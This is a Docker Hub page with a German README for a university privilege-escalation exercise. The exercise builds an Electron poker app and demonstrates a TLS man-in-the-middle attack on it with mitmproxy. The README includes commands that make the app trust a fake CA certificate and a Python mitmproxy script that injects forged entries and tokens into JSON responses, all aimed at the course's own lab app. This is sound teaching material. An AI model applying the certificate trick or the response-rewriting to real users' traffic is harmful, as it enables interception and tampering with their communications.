Sign inSign up

danbu/wbh_aske02_uebung_2_7

By danbu

Updated 10 months ago

Electron-Builder & Demo für TLS-MitM-Angriffe + mitmproxy auf lokale WebApp (Privilege Escalation)

Image
Security
0

1.7K

danbu/wbh_aske02_uebung_2_7 repository overview

README – danbu/wbh_aske02_uebung_2_7

PokerMitmApp – Electron Builder (Windows/Linux/macOS)

Dieses Docker-Image stellt eine vollständig vorbereitete Build-Umgebung zur Verfügung, um die PokerMitmApp plattformübergreifend zu erstellen. Es wird im Rahmen des Studienhefts ASKE02 – Privileg Eskalation genutzt. Innerhalb der Aufgabe 2.7 greifen mehrere Komponenten ineinander: Die Electron-Anwendung bildet die eigentliche Benutzeroberfläche, in der die Studierenden die manipulierte Pokerkarten-Auswahl sehen. Die Node.js‑basierten Servermodule (z. B. index.mjs, index_ip.mjs, index_jwt.mjs) simulieren unterschiedliche Angriffsszenarien wie Timeout‑Manipulation, IP‑Bindung oder JWT‑Fälschung. Electron Builder erzeugt aus dieser Anwendung plattformspezifische Installationspakete für Windows, Linux und macOS.

Zentral für das Verständnis des Angriffs ist das Zusammenspiel mit mitmproxy: Dieses Werkzeug agiert als TLS‑aufbrechender Man‑in‑the‑Middle‑Proxy, der – ausgestattet mit einer eigenen CA – HTTPS‑Verbindungen der lokal installierten WebApp transparent entschlüsseln und verändern kann. Über ein Python‑Skript (z. B. MitM_Html_Injection.py) werden dabei gezielt Antworten manipuliert, etwa indem in der Dealeransicht ein Joker eingefügt oder Sessiondaten verändert werden. Durch das Setzen der Umgebungsvariable NODE_EXTRA_CA_CERTS (macOS/Linux) bzw. des PowerShell‑Äquivalents (Windows) vertraut die Electron‑App dem durch mitmproxy erzeugten Fake‑Zertifikat.

Die Übung baut unmittelbar auf Aufgabe 2.6 auf, in der ein separater Docker‑Container die ursprüngliche Pokerkarten‑WebApp bereitstellt. Dieser Container liefert die nicht manipulierbare Referenzimplementierung der Webseite, gegen die der Angriff in 2.7 demonstriert wird. Während der Container aus 2.6 die legitime Anwendung repräsentiert, vermittelt mitmproxy in 2.7 zwischen Client und Server und modifiziert den Datenstrom live. Dadurch entsteht ein vollständiges, realitätsnahes Angriffsszenario: vom kompromittierten lokalen Kontext über das Einschleusen eines manipulierten Zertifikats bis hin zur langfristigen Kontrolle der Oberfläche durch manipulierte JSON‑Antworten. Zusammengenommen illustrieren diese Komponenten die gesamte Angriffskette eines modernen Man‑in‑the‑Middle‑Szenarios auf lokal betriebene WebApps – einschließlich kompromittierter Kommunikation, gefälschter Rückmeldungen und der potenziellen Eskalation horizontaler Privilegien.

Das Image enthält:

  • Wine (für Windows-Builds)
  • Electron Builder
  • Node.js + npm
  • notwendige Linux-Bibliotheken
  • reproduzierbare Build-Konfigurationen

MitM‑Proxy – Durchführung des Angriffs aus Übung 2.7

Der praktische Teil der Übung 2.7 demonstriert einen vollständigen TLS‑Man‑in‑the‑Middle‑Angriff auf die lokal installierte Electron‑WebApp. Dafür wird mitmproxy als transparenter TLS‑Intercept‑Proxy eingesetzt.

MitM‑Proxy starten
mitmproxy --mode regular --listen-port 8080 --ssl-insecure -s ./MitM_Html_Injection.py
Electron-App auf das Fake‑Zertifikat umleiten

macOS / Linux:

export NODE_EXTRA_CA_CERTS=\"$HOME/.mitmproxy/mitmproxy-ca-cert.pem\"

Windows PowerShell:

$env:NODE_EXTRA_CA_CERTS = \"$env:USERPROFILE\.mitmproxy\mitmproxy-ca-cert.pem\"

Damit vertraut die Electron‑App dem von mitmproxy erzeugten Fake‑Zertifikat und der gesamte HTTPS‑Datenstrom kann entschlüsselt und verändert werden.

Beispiel: Manipulation der Dealer‑Übersicht

Das folgende Skript (vereinfacht aus Übung 2.7) fügt dem JSON‑Array der Dealer‑Daten einen gefälschten Joker‑Eintrag hinzu:

from mitmproxy import http
import json
import time

def response(flow: http.HTTPFlow):
    if \"/dealerdata\" in flow.request.pretty_url:
        try:
            data = json.loads(flow.response.content)
            if isinstance(data, list):
                fake_entry = {
                    \"karte\": \"Joker\",
                    \"rolle\": \"spieler\",
                    \"ip\": \"127.0.0.1\",
                    \"canChoose\": False,
                    \"canViewAll\": False,
                    \"isHack\": True,
                    \"iat\": int(time.time()) - 5,
                    \"exp\": int(time.time()) + 60,
                    \"token\": \"eyJ.fake.token\",
                    \"rest\": 60,
                    \"manipulated\": True,
                    \"err\": \"MitMInjected\"
                }
                data.append(fake_entry)
                flow.response.content = json.dumps(data).encode(\"utf-8\")
                print(\"[MitM] Dealerübersicht manipuliert – Joker eingefügt\")
        except Exception as e:
            print(\"[MitM] Fehler bei Injection:\", e)

Nach Aktivierung des Proxys und Start der App sehen Studierende die manipulierten Daten unmittelbar in der Dealer‑Ansicht.


1. Windows- & Linux-Builds (Docker)

Diese Builds laufen auf jedem Hostsystem (macOS, Windows, Linux), da Docker die Umgebung bereitstellt.

Voraussetzung: Docker Desktop ist installiert und gestartet.

Führen Sie im Ordner 2_7/ folgenden Befehl aus:

docker run -it --rm \
  --name ewine \
  -v "${PWD}:/app" \
  -w /app \
  danbu/wbh_aske02_uebung_2_7:latest \
  bash -lc "npm install --include=dev && npm run dist"

Ergebnisordner:

./dist/

Typische Dateien:

  • Windows: .exe, win-unpacked/
  • Linux: .AppImage, .snap, linux-unpacked/

2. macOS-Builds (DMG)

macOS-Installationsdateien können nur nativ unter macOS erzeugt werden.

2.1 Node.js Installation auf macOS (ohne Homebrew)
curl -LO https://nodejs.org/dist/latest-v20.x/node-v20.19.5.pkg
sudo installer -pkg node-v20.19.5.pkg -target /
2.2 Abhängigkeiten installieren
cd 2_7/
npm install
2.3 macOS-Build ausführen
npm run dist

macOS-Artefakte finden Sie anschließend in:

./dist/

Typische Dateien:

  • .dmg
  • .pkg
  • .zip
  • .app

3. package.json – relevante Skripte

{
  "scripts": {
    "dist": "electron-builder --win --linux"
  }
}
  • npm run dist → Windows & Linux über Docker
  • npm run dist → macOS nativ

4. Plattformübersicht

ZielplattformMethodeErgebnis
WindowsDocker-Image danbu/wbh_aske02_uebung_2_7.exe, win-unpacked/
LinuxDocker-Image danbu/wbh_aske02_uebung_2_7.AppImage, .snap, linux-unpacked/
macOSNativ unter macOS.dmg, .pkg, .zip, .app

5. Hinweis für spätere CI/CD

  • Windows + Linux: Build über dieses Docker-Image
  • macOS: GitHub Actions Runner (runs-on: macos-latest)

6. Lizenz

PokerMitmApp & Kursmaterial stehen unter der Lizenz CC‑BY‑NC‑4.0.

Zitierhinweise / Attribution

Bei Nutzung, Weitergabe oder Bearbeitung müssen folgende Angaben verpflichtend erfolgen:

Beispielhafte Zitierformate:

  • „Material adaptiert nach Daniel Bunzendahl, ASKE02 – Privileg Eskalation, CC‑BY‑NC‑4.0.“
  • „Basierend auf PokerMitmApp (Daniel Bunzendahl, CC‑BY‑NC‑4.0). Quelle: LinkedIn-Profil des Autors.“

8. Abbildung: Zusammenspiel der Komponenten

PokerMitmApp & Kursmaterial: CC-BY-NC-4.0 — Daniel Bunzendahl


8. Abbildung: Zusammenspiel der Komponenten

graph TD
    A[Electron-App (lokal installiert)] -->|HTTPS Anfrage| B[Mitmproxy
(TLS‑Intercept)]
    B -->|manipulierte JSON‑Antwort| A
    B -->|Weiterleitung| C[Docker‑Container aus Übung 2.6
(Pokerkarten‑WebApp)]
    C -->|legitime Serverantwort| B

    subgraph Kontext
        A
        B
    end

Die Abbildung zeigt das Zusammenspiel der zentralen Komponenten in Übung 2.7:

  • Die Electron-App sendet reguläre HTTPS-Anfragen.
  • Mitmproxy interceptet, entschlüsselt und manipuliert den Datenstrom.
  • Der Docker‑Container aus Übung 2.6 stellt die legitime Pokerkarten‑WebApp bereit.
  • Das Python‑Skript manipuliert speziell die Dealer-Ansicht oder einzelne Token-Felder.

9. Verweis auf das öffentliche Repository zu Übung 2.6

Der vollständige, nicht manipulierte WebApp-Server aus Übung 2.6 ist öffentlich verfügbar unter:

danbu/wbh_aske02_uebung_2_6

Dieses Repository enthält:

  • den Original‑Pokerkarten‑Server,
  • die Referenzimplementierung der HTTP‑/HTTPS‑Routen,
  • die Ausgangsbasis für alle MitM‑Experimente in Übung 2.7.

7. Autor

Daniel Bunzendahl
Studieneinheit ASKE02 „Privileg Eskalation“
LinkedIn: https://www.linkedin.com/in/daniel-bunzendahl/

Tag summary

Content type

Image

Digest

sha256:05a4cd04e

Size

1.9 GB

Last updated

10 months ago

docker pull danbu/wbh_aske02_uebung_2_7